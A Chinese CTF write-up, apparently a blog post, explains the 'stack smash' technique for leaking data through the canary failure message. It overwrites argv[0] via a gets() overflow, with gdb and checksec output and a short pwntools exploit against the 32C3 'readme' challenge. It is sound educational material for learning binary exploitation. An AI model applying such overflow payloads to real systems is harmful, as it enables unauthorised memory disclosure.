好好说话之Stack smash

编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ

Stack smash

我们之前一直没有做过关于canary保护的题,那么这个Stack smash就是绕过canary保护的技术。在程序加载了canary保护之后如果我们是在覆盖缓冲区的时候就会连带着覆盖了canary保护的cookie,这个时候程序就会报错。但是这个技术并不在乎是否报错,而是在乎报错的内容。stack smash技巧就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动canary保护之后,如果发现canary被修改的话就会执__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下这个指针指向程序名。代码如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

所以如果我们利用栈溢出覆盖argv[0]为我们想要输出的字符串地址,那么在__fortify_fail函数中就会输出我们想要的信息

例题

以2015年32C3 CTF readme 为例,可以在https://www.jarvisoj.com/复现

查看保护

hollk@ubuntu:~/ctf-challenges/pwn/stackoverflow/stacksmashes/smashes$ checksec smashes
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/stacksmashes/smashes/smashes'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

可以看到程序为64位,开启了canary保护、NX保护以及FORTIFY保护

扔进ida

扔进ida x64看一下

在这里插入图片描述又遇到了我们的老朋友gets函数,这个函数会将我们输入的字符串存放在v4变量中,并且不会限制用户输入长度。那么不限长的字符串存放在定长的变量中,就会产生溢出

这个程序一共进行了两次输入,第一次在第一次红圈的位置,输入的字符串存放在v4变量中,但是后面并没有再对v4进行操作。第二次输入在第二个红圈位置,输入字符串存放在v2变量中,并且通过循环不断的赋值给aPctfHereSTheFl这个数组中。可以双击这个数组看一下这个数组里面的内容是什么

在这里插入图片描述可以看到数组里面存放的是一条flag,此外程序中还提到了overwrite flag,所以这道题并不是拿shell,而是一道拿flag的题。回到前面的程序,v2变量接收第二次输入的字符串,并且会不断覆盖原有的flag内容

并且在while循环之后会有下面的语句:

  memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));

这个函数的意思是从v1 + 0x600D20LL这个地址往后32 - v1字节的内容都以0替代。这个函数的原型是这样的

void * memset( void * ptr, int value, size_t num );

参数说明:

ptr 为要操作的内存的指针。
value 为要设置的值。你既可以向 value 传递 int 类型的值,也可以传递 char 类型的值,int 和 char 可以根据 ASCII 码相互转换。
num 为 ptr 的前 num 个字节,size_t 就是unsigned int。

从上面的图中可以看到0x600D20处正是我们flag所在的位置,所以无论进不进行第二次输入,程序都会把原有的flag覆盖掉。这就很麻烦了,我们想要的就是利用canary打印报错的原理,将argv[0]指向这个flag的地址,但是flag无论怎么样都会被覆盖!!!

这个时候就需要利用一个技巧:在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出

我们可以将程序用gdb打开,运行起来看一下程序映射的情况:

pwndbg> vmmap smashes
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/hollk/ctf-challenges/pwn/stackoverflow/stacksmashes/smashes/smashes
          0x600000           0x601000 rw-p     1000 0      /home/hollk/ctf-challenges/pwn/stackoverflow/stacksmashes/smashes/smashes

在调试的时候可以看到smashes被映射到两处地址中,所以只要在二进制文件0x000000000 ~ 0x00001000范围内的内容都会被映射到内存中,分别以0x600000和0x400000作为起始地址。flag在0x00000d20,所以会在内存中出现两次,分别位于0x00600d20和0x00400d20。所以虽然0x00600d20的位置虽然被覆盖了,但是依然可以在0x00400d20的位置找到flag

找argv[0]指针位置

我们知道了flag存放的位置,那么接下来就需要找一下argv[0]所在的位置了,argv[0]会有一个明显的特征,就是他会指向程序名,所以我们可以使用gdb在main函数处下断点,接下来找指向程序名的指针就会是argv[0]了

在这里插入图片描述

可以看到在0x7fffffffe322中存放着程序名称,但是这个地址被存放在0x7fffffffdff8处,所以只要把0x7fffffffdff8中的内容替换成flag就可以了。

当然也可以在gdb中使用命令“p & __libc_argv[0]”就可以得到argv[0]的地址

pwndbg> p & __libc_argv[0]
$1 = (char **) 0x7fffffffdff8

找输入时的栈顶位置

为什么这一步要找输入时的栈顶位置呢?首先我们先看一下gets函数调用的位置。先通过“objdump -d smashes”命令找一下gets函数的位置

在这里插入图片描述

我们打开gdb在0x40080e的位置下个断点
在这里插入图片描述可以看到当前的rdi寄存器中的值为rsp寄存器的内容,因为在64位程序中rdi寄存器中存放的是当前执行函数的一参,所以当前的栈顶就是gets函数的一参。所以当前栈顶的位置到刚才的argv[0]的偏移距离就是我们的溢出长度,所以我们通过计算

0x7fffffffdff8 - 0x7fffffffdde0 = 0x218

也就是说我们输入内容要在0x218以后才能把argv[0]给覆盖掉,并且输入0x218个内容之后把0x00400d20写上就可以了

EXP

from pwn import *
#p=process('./readme')
p=remote('pwn.jarvisoj.com',9877)
payload='a'*0x218+p64(0x400d20)
p.sendlineafter('name? ',payload)
p.sendlineafter('flag: ','hollk')
print p.recv()

在这里插入图片描述

  • 29
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 8
    评论
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hollk

要不赏点?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值